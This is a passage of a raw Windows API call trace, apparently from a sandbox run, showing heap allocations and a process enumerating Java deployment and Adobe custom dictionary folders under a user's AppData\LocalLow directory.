[0273.787] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.787] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.787] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0273.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0273.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.787] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.787] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.787] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.787] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0273.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.787] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.787] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.787] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.787] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.787] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.787] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.788] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.788] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.788] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.788] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.788] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.788] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0273.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.788] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.788] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0273.788] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0273.788] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0273.788] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0273.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0273.788] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0273.788] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0273.789] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0273.789] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0273.789] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.789] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.789] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.789] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.789] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.789] PathFindFileNameW (pszPath="") returned="" [0273.789] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.789] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.789] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0273.789] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 0 [0273.790] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.790] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.790] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\") returned="all\\" [0273.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0273.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0273.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0273.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0273.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.790] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.790] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.790] PathFindFileNameW (pszPath="") returned="" [0273.790] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.791] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.792] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.792] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.792] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.792] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.792] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\") returned="brt\\" [0273.792] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0273.792] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0273.792] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0273.792] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0273.792] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.792] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.792] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.792] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.792] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.792] PathFindFileNameW (pszPath="") returned="" [0273.792] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.793] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.794] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.794] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.794] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.794] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\") returned="brz\\" [0273.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0273.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0273.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0273.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0273.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.795] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.795] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.795] PathFindFileNameW (pszPath="") returned="" [0273.795] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.796] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.796] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.796] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.796] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.796] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\") returned="dan\\" [0273.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0273.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0273.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0273.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0273.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.796] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.797] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.797] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.797] PathFindFileNameW (pszPath="") returned="" [0273.797] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.797] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.797] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.797] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.797] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0273.797] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0273.797] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\") returned="dut\\" [0273.797] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0273.797] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0273.798] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0273.798] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0273.798] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0273.798] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0273.798] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0273.798] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0273.798] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0273.798] PathFindFileNameW (pszPath="") returned="" [0273.798] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0273.798] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.798] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.798] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0273.799] PeekMessageW (in: 